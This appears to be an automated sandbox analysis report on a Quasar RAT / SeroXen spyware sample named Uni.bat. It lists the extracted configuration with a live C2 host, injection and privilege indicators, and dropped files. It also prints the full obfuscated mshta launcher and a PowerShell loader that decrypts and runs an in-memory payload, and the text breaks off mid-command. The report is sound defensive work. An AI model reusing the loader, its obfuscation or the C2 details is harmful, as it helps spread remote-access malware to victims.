quasar | 78b0a14a882dec287c0dc5a294ad02a4a5aaa0d130839d49f282c7d61069471f

Analysis

max time kernel
28s
max time network
28s
platform
windows11-21h2_x64
resource
win11-20240508-en
resource tags

arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
submitted
25-05-2024 16:21

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General

Target

Uni.bat
Size

12.6MB
MD5

898f49c739026123b6a3811fa31abe70
SHA1

31ff6036b40d70d21cb1c4c0163cba0d4c720551
SHA256

78b0a14a882dec287c0dc5a294ad02a4a5aaa0d130839d49f282c7d61069471f
SHA512

a9aa2bf15db84361f315156ee6386cac49c14c2449a72e2f50b2e0b8d100781019c246c03a38a37d5dfc71a7c1c5451457faba074d1a875cab615ecb8d3e453d
SSDEEP

49152:sW7ldCjqzV0qZpSjVbHDGYxqXTQPJee/X5nerh1gnfFijx6ygGSPlPNEIKlfuK1u:i

Score

10^/10

quasar v2.2.5 | seroxen spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.0.0.0

Botnet

v2.2.5 | SeroXen

kimsoylak.ddns.net:4782

Mutex

2cc9d61f-950d-4f23-b7d5-45d9dda2f256

Attributes

encryption_key
F467D794B2E1081B6AD1EAD5813AFA74F053248D
install_name
.exe
log_directory
$sxr-Logs
reconnect_delay
1

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

Processes:

resource	yara_rule
behavioral3/memory/2304-65-0x000002715FFC0000-0x000002716078A000-memory.dmp	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs

Processes:

Uni.bat.exe$sxr-powershell.exe

description	pid	process	target process
PID 2360 created 640	2360	Uni.bat.exe	winlogon.exe
PID 2304 created 640	2304	$sxr-powershell.exe	winlogon.exe
PID 2304 created 640	2304	$sxr-powershell.exe	winlogon.exe

Executes dropped EXE 5 IoCs

Processes:

Uni.bat.exe$sxr-mshta.exe$sxr-cmd.exe$sxr-powershell.exe$sxr-powershell.exe

pid process

2360 Uni.bat.exe
1012 $sxr-mshta.exe
1040 $sxr-cmd.exe
2304 $sxr-powershell.exe
3732 $sxr-powershell.exe

Drops file in System32 directory 2 IoCs

Processes:

svchost.exe

description	ioc	process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe

Suspicious use of SetThreadContext 6 IoCs

Processes:

Uni.bat.exe$sxr-powershell.exe

description	pid	process	target process
PID 2360 set thread context of 3944	2360	Uni.bat.exe	dllhost.exe
PID 2360 set thread context of 3472	2360	Uni.bat.exe	dllhost.exe
PID 2304 set thread context of 1664	2304	$sxr-powershell.exe	dllhost.exe
PID 2304 set thread context of 3596	2304	$sxr-powershell.exe	dllhost.exe
PID 2304 set thread context of 4636	2304	$sxr-powershell.exe	dllhost.exe
PID 2304 set thread context of 4304	2304	$sxr-powershell.exe	dllhost.exe

Drops file in Windows directory 6 IoCs

Processes:

Uni.bat.exe

description	ioc	process
File created	C:\Windows\$sxr-powershell.exe	Uni.bat.exe
File opened for modification	C:\Windows\$sxr-powershell.exe	Uni.bat.exe
File created	C:\Windows\$sxr-mshta.exe	Uni.bat.exe
File opened for modification	C:\Windows\$sxr-mshta.exe	Uni.bat.exe
File created	C:\Windows\$sxr-cmd.exe	Uni.bat.exe
File opened for modification	C:\Windows\$sxr-cmd.exe	Uni.bat.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

svchost.exe

description	ioc	process
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe

Modifies registry class 1 IoCs

Processes:

$sxr-mshta.exe

description ioc process

Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ $sxr-mshta.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	$sxr-mshta.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

Uni.bat.exedllhost.exedllhost.exe$sxr-powershell.exedllhost.exedllhost.exe$sxr-powershell.exedllhost.exedllhost.exe

pid	process
2360	Uni.bat.exe
2360	Uni.bat.exe
2360	Uni.bat.exe
3944	dllhost.exe
3944	dllhost.exe
3944	dllhost.exe
3944	dllhost.exe
3472	dllhost.exe
3472	dllhost.exe
3472	dllhost.exe
3472	dllhost.exe
2360	Uni.bat.exe
2360	Uni.bat.exe
2304	$sxr-powershell.exe
2304	$sxr-powershell.exe
2304	$sxr-powershell.exe
2304	$sxr-powershell.exe
3596	dllhost.exe
3596	dllhost.exe
3596	dllhost.exe
3596	dllhost.exe
1664	dllhost.exe
1664	dllhost.exe
1664	dllhost.exe
1664	dllhost.exe
2304	$sxr-powershell.exe
2304	$sxr-powershell.exe
3732	$sxr-powershell.exe
2304	$sxr-powershell.exe
4636	dllhost.exe
4636	dllhost.exe
4636	dllhost.exe
4636	dllhost.exe
4636	dllhost.exe
4636	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4636	dllhost.exe
4636	dllhost.exe
4636	dllhost.exe
4636	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4636	dllhost.exe
4636	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
3732	$sxr-powershell.exe
3732	$sxr-powershell.exe
4636	dllhost.exe
4636	dllhost.exe
3732	$sxr-powershell.exe
3732	$sxr-powershell.exe
4304	dllhost.exe
4304	dllhost.exe
4636	dllhost.exe
4636	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4636	dllhost.exe
4636	dllhost.exe
4304	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Uni.bat.exedllhost.exedllhost.exe$sxr-powershell.exedllhost.exedllhost.exe$sxr-powershell.exedllhost.exedllhost.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	2360	Uni.bat.exe
Token: SeDebugPrivilege	2360	Uni.bat.exe
Token: SeDebugPrivilege	3944	dllhost.exe
Token: SeDebugPrivilege	3472	dllhost.exe
Token: SeDebugPrivilege	2304	$sxr-powershell.exe
Token: SeDebugPrivilege	2304	$sxr-powershell.exe
Token: SeDebugPrivilege	3596	dllhost.exe
Token: SeDebugPrivilege	1664	dllhost.exe
Token: SeDebugPrivilege	3732	$sxr-powershell.exe
Token: SeDebugPrivilege	2304	$sxr-powershell.exe
Token: SeDebugPrivilege	4636	dllhost.exe
Token: SeDebugPrivilege	4304	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	2624	svchost.exe
Token: SeIncreaseQuotaPrivilege	2624	svchost.exe
Token: SeSecurityPrivilege	2624	svchost.exe
Token: SeTakeOwnershipPrivilege	2624	svchost.exe
Token: SeLoadDriverPrivilege	2624	svchost.exe
Token: SeSystemtimePrivilege	2624	svchost.exe
Token: SeBackupPrivilege	2624	svchost.exe
Token: SeRestorePrivilege	2624	svchost.exe
Token: SeShutdownPrivilege	2624	svchost.exe
Token: SeSystemEnvironmentPrivilege	2624	svchost.exe
Token: SeUndockPrivilege	2624	svchost.exe
Token: SeManageVolumePrivilege	2624	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2624	svchost.exe
Token: SeIncreaseQuotaPrivilege	2624	svchost.exe
Token: SeSecurityPrivilege	2624	svchost.exe
Token: SeTakeOwnershipPrivilege	2624	svchost.exe
Token: SeLoadDriverPrivilege	2624	svchost.exe
Token: SeSystemtimePrivilege	2624	svchost.exe
Token: SeBackupPrivilege	2624	svchost.exe
Token: SeRestorePrivilege	2624	svchost.exe
Token: SeShutdownPrivilege	2624	svchost.exe
Token: SeSystemEnvironmentPrivilege	2624	svchost.exe
Token: SeUndockPrivilege	2624	svchost.exe
Token: SeManageVolumePrivilege	2624	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2624	svchost.exe
Token: SeIncreaseQuotaPrivilege	2624	svchost.exe
Token: SeSecurityPrivilege	2624	svchost.exe
Token: SeTakeOwnershipPrivilege	2624	svchost.exe
Token: SeLoadDriverPrivilege	2624	svchost.exe
Token: SeSystemtimePrivilege	2624	svchost.exe
Token: SeBackupPrivilege	2624	svchost.exe
Token: SeRestorePrivilege	2624	svchost.exe
Token: SeShutdownPrivilege	2624	svchost.exe
Token: SeSystemEnvironmentPrivilege	2624	svchost.exe
Token: SeUndockPrivilege	2624	svchost.exe
Token: SeManageVolumePrivilege	2624	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2624	svchost.exe
Token: SeIncreaseQuotaPrivilege	2624	svchost.exe
Token: SeSecurityPrivilege	2624	svchost.exe
Token: SeTakeOwnershipPrivilege	2624	svchost.exe
Token: SeLoadDriverPrivilege	2624	svchost.exe
Token: SeSystemtimePrivilege	2624	svchost.exe
Token: SeBackupPrivilege	2624	svchost.exe
Token: SeRestorePrivilege	2624	svchost.exe
Token: SeShutdownPrivilege	2624	svchost.exe
Token: SeSystemEnvironmentPrivilege	2624	svchost.exe
Token: SeUndockPrivilege	2624	svchost.exe
Token: SeManageVolumePrivilege	2624	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2624	svchost.exe
Token: SeIncreaseQuotaPrivilege	2624	svchost.exe
Token: SeSecurityPrivilege	2624	svchost.exe
Token: SeTakeOwnershipPrivilege	2624	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

$sxr-powershell.exe

pid process

2304 $sxr-powershell.exe

pid	process
2304	$sxr-powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exeUni.bat.exe$sxr-mshta.exe$sxr-cmd.exe$sxr-powershell.exedllhost.exe

description	pid	process	target process
PID 3448 wrote to memory of 2360	3448	cmd.exe	Uni.bat.exe
PID 3448 wrote to memory of 2360	3448	cmd.exe	Uni.bat.exe
PID 2360 wrote to memory of 3944	2360	Uni.bat.exe	dllhost.exe
PID 2360 wrote to memory of 3944	2360	Uni.bat.exe	dllhost.exe
PID 2360 wrote to memory of 3944	2360	Uni.bat.exe	dllhost.exe
PID 2360 wrote to memory of 3944	2360	Uni.bat.exe	dllhost.exe
PID 2360 wrote to memory of 3944	2360	Uni.bat.exe	dllhost.exe
PID 2360 wrote to memory of 3944	2360	Uni.bat.exe	dllhost.exe
PID 2360 wrote to memory of 3944	2360	Uni.bat.exe	dllhost.exe
PID 2360 wrote to memory of 3472	2360	Uni.bat.exe	dllhost.exe
PID 2360 wrote to memory of 3472	2360	Uni.bat.exe	dllhost.exe
PID 2360 wrote to memory of 3472	2360	Uni.bat.exe	dllhost.exe
PID 2360 wrote to memory of 3472	2360	Uni.bat.exe	dllhost.exe
PID 2360 wrote to memory of 3472	2360	Uni.bat.exe	dllhost.exe
PID 2360 wrote to memory of 3472	2360	Uni.bat.exe	dllhost.exe
PID 2360 wrote to memory of 3472	2360	Uni.bat.exe	dllhost.exe
PID 2360 wrote to memory of 3472	2360	Uni.bat.exe	dllhost.exe
PID 2360 wrote to memory of 3472	2360	Uni.bat.exe	dllhost.exe
PID 1012 wrote to memory of 1040	1012	$sxr-mshta.exe	$sxr-cmd.exe
PID 1012 wrote to memory of 1040	1012	$sxr-mshta.exe	$sxr-cmd.exe
PID 1040 wrote to memory of 2304	1040	$sxr-cmd.exe	$sxr-powershell.exe
PID 1040 wrote to memory of 2304	1040	$sxr-cmd.exe	$sxr-powershell.exe
PID 2304 wrote to memory of 1664	2304	$sxr-powershell.exe	dllhost.exe
PID 2304 wrote to memory of 1664	2304	$sxr-powershell.exe	dllhost.exe
PID 2304 wrote to memory of 1664	2304	$sxr-powershell.exe	dllhost.exe
PID 2304 wrote to memory of 1664	2304	$sxr-powershell.exe	dllhost.exe
PID 2304 wrote to memory of 1664	2304	$sxr-powershell.exe	dllhost.exe
PID 2304 wrote to memory of 1664	2304	$sxr-powershell.exe	dllhost.exe
PID 2304 wrote to memory of 1664	2304	$sxr-powershell.exe	dllhost.exe
PID 2304 wrote to memory of 3596	2304	$sxr-powershell.exe	dllhost.exe
PID 2304 wrote to memory of 3596	2304	$sxr-powershell.exe	dllhost.exe
PID 2304 wrote to memory of 3596	2304	$sxr-powershell.exe	dllhost.exe
PID 2304 wrote to memory of 3596	2304	$sxr-powershell.exe	dllhost.exe
PID 2304 wrote to memory of 3596	2304	$sxr-powershell.exe	dllhost.exe
PID 2304 wrote to memory of 3596	2304	$sxr-powershell.exe	dllhost.exe
PID 2304 wrote to memory of 3596	2304	$sxr-powershell.exe	dllhost.exe
PID 2304 wrote to memory of 3596	2304	$sxr-powershell.exe	dllhost.exe
PID 2304 wrote to memory of 3596	2304	$sxr-powershell.exe	dllhost.exe
PID 2304 wrote to memory of 3732	2304	$sxr-powershell.exe	$sxr-powershell.exe
PID 2304 wrote to memory of 3732	2304	$sxr-powershell.exe	$sxr-powershell.exe
PID 2304 wrote to memory of 4636	2304	$sxr-powershell.exe	dllhost.exe
PID 2304 wrote to memory of 4636	2304	$sxr-powershell.exe	dllhost.exe
PID 2304 wrote to memory of 4636	2304	$sxr-powershell.exe	dllhost.exe
PID 2304 wrote to memory of 4636	2304	$sxr-powershell.exe	dllhost.exe
PID 2304 wrote to memory of 4636	2304	$sxr-powershell.exe	dllhost.exe
PID 2304 wrote to memory of 4636	2304	$sxr-powershell.exe	dllhost.exe
PID 2304 wrote to memory of 4636	2304	$sxr-powershell.exe	dllhost.exe
PID 2304 wrote to memory of 4636	2304	$sxr-powershell.exe	dllhost.exe
PID 2304 wrote to memory of 4636	2304	$sxr-powershell.exe	dllhost.exe
PID 4636 wrote to memory of 640	4636	dllhost.exe	winlogon.exe
PID 4636 wrote to memory of 696	4636	dllhost.exe	lsass.exe
PID 4636 wrote to memory of 984	4636	dllhost.exe	svchost.exe
PID 4636 wrote to memory of 392	4636	dllhost.exe	dwm.exe
PID 4636 wrote to memory of 440	4636	dllhost.exe	svchost.exe
PID 4636 wrote to memory of 356	4636	dllhost.exe	svchost.exe
PID 4636 wrote to memory of 1072	4636	dllhost.exe	svchost.exe
PID 4636 wrote to memory of 1084	4636	dllhost.exe	svchost.exe
PID 4636 wrote to memory of 1180	4636	dllhost.exe	svchost.exe
PID 4636 wrote to memory of 1224	4636	dllhost.exe	svchost.exe
PID 4636 wrote to memory of 1320	4636	dllhost.exe	svchost.exe
PID 4636 wrote to memory of 1328	4636	dllhost.exe	svchost.exe
PID 4636 wrote to memory of 1388	4636	dllhost.exe	svchost.exe
PID 4636 wrote to memory of 1396	4636	dllhost.exe	svchost.exe
PID 4636 wrote to memory of 1476	4636	dllhost.exe	svchost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:640

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
PID:392

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{10bb6b44-5dd9-439d-8295-c831cc3f6df6}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3944

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{4ecfb7a5-e38b-4760-8048-237ab57d7461}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1664

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{3e290093-b73d-4a47-9fee-ea720a3b8e0a}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4636

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:696

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:984

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:440

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:356

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1072

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1084

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1180

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1224

C:\Windows\$sxr-mshta.exe
C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-jUsBURfHSoufmNeEAjpO4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
2⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1012

C:\Windows\$sxr-cmd.exe
"C:\Windows\$sxr-cmd.exe" /c %$sxr-jUsBURfHSoufmNeEAjpO4312:&#<?=%
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1040

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
4⤵
PID:1220

C:\Windows\$sxr-powershell.exe
C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function hufeg($iDMxb){ $Elzpw=[System.Security.Cryptography.Aes]::Create(); $Elzpw.Mode=[System.Security.Cryptography.CipherMode]::CBC; $Elzpw.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $Elzpw.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ScFxiXv+iEo0UMCuEp0Dj6ldTafwKIFrpQdT06sepfk='); $Elzpw.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x90xMD7ECTiuD6SgY+FhCA=='); $wCTZr=$Elzpw.('rotpyrceDetaerC'[-1..-15] -join '')(); $YgtPo=$wCTZr.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iDMxb, 0, $iDMxb.Length); $wCTZr.Dispose(); $Elzpw.Dispose(); $YgtPo;}function FJcTY($iDMxb){ $KHdof=New-Object System.IO.MemoryStream(,$iDMxb); $mdDGq=New-Object System.IO.MemoryStream; $PZsap=New-Object System.IO.Compression.GZipStream($KHdof, [IO.Compression.CompressionMode]::Decompress); $PZsap.CopyTo($mdDGq); $PZsap.Dispose(); $KHdof.Dispose(); $mdDGq.Dispose(); $mdDGq.ToArray();}function vUmWc($iDMxb,$PbTpW){ $YHPse=[System.Reflection.Assembly]::Load([byte[]]$iDMxb); $aMqIy=$YHPse.EntryPoint; $aMqIy.Invoke($null, $PbTpW);}$Elzpw1 = New-Object System.Security.Cryptography.AesManaged;$Elzpw1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Elzpw1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Elzpw1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ScFxiXv+iEo0UMCuEp0Dj6ldTafwKIFrpQdT06sepfk=');$Elzpw1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x90xMD7ECTiuD6SgY+FhCA==');$lkChZ = $Elzpw1.('rotpyrceDetaerC'[-1..-15] -join '')();$kveij = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('skxuT638mXYXO82tnMu4Nw==');$kveij = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij, 0, $kveij.Length);$kveij = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij);$uYwHJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7tPhtRoBPpmbD4jKqCrROmZ5ihpYMWVokvpj2Ng/Pz8=');$uYwHJ = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uYwHJ, 0, $uYwHJ.Length);$uYwHJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uYwHJ);$XPhKE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MN4dM3v9612JtLqaveCMYg==');$XPhKE = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XPhKE, 0, $XPhKE.Length);$XPhKE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XPhKE);$muibj = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('omE0gz6POPNwhNmUAnPGH44LhwPPACLWik/KT0dk5wsKXAxtKag+L5FPGR5kaqhlGUck2HtfdRNBwrYMOEAetiGgAox0exmtDDnAYLadphZBvi4OP8B8BNL4k5y/z1AEr7oudmgyCQifH3aXxa/gUUa4xjDsSD2YTOub7PHlsdmqG91RSBUMJH4vfT2zptSsj0OSscQsY4xVPZ8OjeRKbzP+BjF+Uue1s9LcXQdrizsUEKJN4dY28g0skU19VzfudgJv7Qa+SS93YCgWa9n+oNhygZquca/xgmF4Z+su7WedF+8tBgUKzviRtdEdVgLq/OMSlirCLjvFnSHC2y9K1oTEEyD1mQB836kwPebOOTmBNH6vdn2bEQQYiF/vc3FItt5vYPuWyJGzUen95KOQjYu7YoPz/dFXDUgmI65vnuw=');$muibj = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($muibj, 0, $muibj.Length);$muibj = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($muibj);$DHHcr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tYnkG6mWBgWnZf6oIR3L5A==');$DHHcr = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DHHcr, 0, $DHHcr.Length);$DHHcr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DHHcr);$EQNXr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5fF2zWzAZ0BefyD1XaGcLw==');$EQNXr = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EQNXr, 0, $EQNXr.Length);$EQNXr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EQNXr);$mYQZS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3I7S8iNpJjrn0k9Lgckneg==');$mYQZS = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mYQZS, 0, $mYQZS.Length);$mYQZS = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mYQZS);$DbkFT = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('v8BsdeVWD9I78LbbRhRFrA==');$DbkFT = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DbkFT, 0, $DbkFT.Length);$DbkFT = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DbkFT);$jgfOd = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OEFFbXtp5W2U1hAoq0CpPw==');$jgfOd = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jgfOd, 0, $jgfOd.Length);$jgfOd = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jgfOd);$kveij0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1+Vym/OwDnC1v1RFNGQ5MA==');$kveij0 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij0, 0, $kveij0.Length);$kveij0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij0);$kveij1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1UB7UYof3ztQu3+ei666DQ==');$kveij1 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij1, 0, $kveij1.Length);$kveij1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij1);$kveij2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9594UuKb/Z+/WVWczIhxbQ==');$kveij2 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij2, 0, $kveij2.Length);$kveij2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij2);$kveij3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lxkDZyakK1CM3mmPkfi6OQ==');$kveij3 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij3, 0, $kveij3.Length);$kveij3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij3);$lkChZ.Dispose();$Elzpw1.Dispose();if (@(get-process -ea silentlycontinue $kveij3).count -gt 1) {exit};$ebqGe = [Microsoft.Win32.Registry]::$DbkFT.$mYQZS($kveij).$EQNXr($uYwHJ);$SceND=[string[]]$ebqGe.Split('\');$sNXpr=FJcTY(hufeg([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($SceND[1])));vUmWc $sNXpr (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$GiWwX = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($SceND[0]);$Elzpw = New-Object System.Security.Cryptography.AesManaged;$Elzpw.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Elzpw.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Elzpw.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ScFxiXv+iEo0UMCuEp0Dj6ldTafwKIFrpQdT06sepfk=');$Elzpw.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x90xMD7ECTiuD6SgY+FhCA==');$wCTZr = $Elzpw.('rotpyrceDetaerC'[-1..-15] -join '')();$GiWwX = $wCTZr.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GiWwX, 0, $GiWwX.Length);$wCTZr.Dispose();$Elzpw.Dispose();$KHdof = New-Object System.IO.MemoryStream(, $GiWwX);$mdDGq = New-Object System.IO.MemoryStream;$PZsap = New-Object System.IO.Compression.GZipStream($KHdof, [IO.Compression.CompressionMode]::$kveij1);$PZsap.$jgfOd($mdDGq);$PZsap.Dispose();$KHdof.Dispose();$mdDGq.Dispose();$GiWwX = $mdDGq.ToArray();$cyNnW = $muibj | IEX;$YHPse = $cyNnW::$kveij2($GiWwX);$aMqIy = $YHPse.EntryPoint;$aMqIy.$kveij0($null, (, [string[]] ($XPhKE)))
4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2304

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{a25f993b-2d6f-48c2-ace7-cf03ff0487c7}
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3596

C:\Windows\$sxr-powershell.exe
"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(2304).WaitForExit();[System.Threading.Thread]::Sleep(5000); function hufeg($iDMxb){ $Elzpw=[System.Security.Cryptography.Aes]::Create(); $Elzpw.Mode=[System.Security.Cryptography.CipherMode]::CBC; $Elzpw.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $Elzpw.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ScFxiXv+iEo0UMCuEp0Dj6ldTafwKIFrpQdT06sepfk='); $Elzpw.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x90xMD7ECTiuD6SgY+FhCA=='); $wCTZr=$Elzpw.('rotpyrceDetaerC'[-1..-15] -join '')(); $YgtPo=$wCTZr.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iDMxb, 0, $iDMxb.Length); $wCTZr.Dispose(); $Elzpw.Dispose(); $YgtPo;}function 